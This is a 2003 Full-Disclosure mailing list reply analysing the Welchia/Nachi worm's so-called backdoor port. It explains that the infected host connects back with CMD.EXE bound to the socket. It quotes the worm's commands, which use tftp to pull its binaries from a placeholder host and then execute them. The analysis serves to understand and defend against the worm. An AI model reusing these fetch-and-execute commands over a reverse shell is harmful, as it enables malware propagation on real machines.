

Re: [Full-Disclosure] W32/Welchia, W32/Nachi backdoor?

Source: <http://www.derkeiler.com/Mailing-Lists/Full-Disclosure/2003-08/1309.html>

From: Michael Mueller (malware_at_t-online.de)

Date: 08/20/03

To: full-disclosure@lists.netsys.com

Date: Wed, 20 Aug 2003 19:20:47 +0200

Hi Barry,

you wrote:

> >creates a backdoor listening on TCP/707 or some other randomly chosen port
> between TCP/666 and >TCP/765 [2]
>
> Telnetting to this port seems to disconnected after 1-5 characters have been
> entered? This doesn't look like TFTP (port 65/tcp&UDP), and the windows
> tftp client doesn't seem to offer any means of specifying a port to connect
> to?

Mhh, I wouldn't call it a backdoor.

The client to infect opens the connection with the stdin/-out of CMD.EXE connected to the socket. Once the connection is established the listener is waiting for the prompt printed by CMD.EXE and starts giving commands. These commands look like following:

```
dir wins\dllhost.exe
dir dllcache\tftpd.exe
tftp -i x.x.x.x get svchost.exe wins\SVCHOST.EXE
tftp -i x.x.x.x get dllhost.exe wins\DLLHOST.EXE
wins\DLLHOST.EXE
```

If you want to use this socket connection as backdoor to the server, you have to find an buffer overflow or similiar in the worm code.

Michael

--

Linux@TekXpress

<http://www-users.rwth-aachen.de/Michael.Mueller4/tekxp/tekxp.html>

Full-Disclosure - We believe in it.

Charter: <http://lists.netsys.com/full-disclosure-charter.html>